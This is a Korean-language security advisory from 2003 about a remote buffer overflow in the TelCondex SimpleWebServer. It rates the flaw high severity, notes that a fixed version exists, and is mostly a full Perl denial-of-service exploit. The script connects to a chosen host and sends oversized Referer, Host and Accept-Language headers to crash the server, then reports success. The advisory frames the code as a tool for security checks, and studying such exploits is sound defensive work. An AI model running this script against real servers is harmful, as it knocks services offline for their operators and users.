TelCondex Simple 웹서버 공격법 등장

공격용 소스코드 제목 :
TelCondex Simple 웹서버 버퍼오버플로우

발표날짜 :
2003.11.09

해당 시스템 :
- TelCondex

공격유형 :
원격

위험도 :
상

문제점 :
TelCondex SimpleWebserver Buffer Overflow 에서 논의되었던 이 취약점을 이용하면 원격에서 내부 버퍼오버플로우를 야기 시킬 수 있다.

다음의 코드를 이용하여 보안 체크에 만전을 기하시기 바란다.

공격법 / 공격용 소스코드 :
#!/usr/local/bin/perl
# TelCondex WebServer: Buffer overflow
# ------------------------------------
#
# Vendor: TelCondex SimpleWebserver(tc.SimpleWebServer)
# Version: 2.12.30210 Build 3285
# Discoverer: Oliver Karow<oliver.karow@gmx.de>
# Exploit: DoS(Denial Of Service) By Blade<blade@abez.org>
# Solution: Download Fixed Version<http://www.telcondex.de/pub/sws_default.htm>
# <FiH eZine 2003 - http://www.fihezine.tsx.to>
####################################################################
use IO::Socket;

print '
TelCondex Webserver DoS Exploit - 
Programmer: Blade<blade@abez.org> - Discoverer: 
Oliver.K.<oliver.karow@gmx.de>
FiH eZiNe 2002<>2003 - http://www.fihezine.tsx.to\n
Usage: TelCondex.pl <HostVulnerable> [Port] ';

$server = $ARGV[0];
if ($ARGV[1] == 0){ $port=80; } else { $port=$ARGV[1]; }

print" Connecting...";
$Sock=IO::Socket::INET->new(Proto=>"tcp", 
PeerAddr=>$server,PeerPort=>$port, Timeout=>5);
if ($Sock){
print" Conected...";
$Sock->autoflush(1);

print $Sock "GET / HTTP/1.1\r\n".
"Accept: */* \r\n".
"Referer: ". ("A" x 704) ."\r\n".
"Host: ". ("A" x 704) ."\r\n".
"Accept-Language: ". ("A" x 704) ."\r\n\r\n";
@Respost=<$Sock>;
close($Sock);
if (@Respost == 0){die " D.o.S Completed!\n";} else { print " D.o.S 
Not Completed"; }
}else{ print"Impossible to connect from $server"; }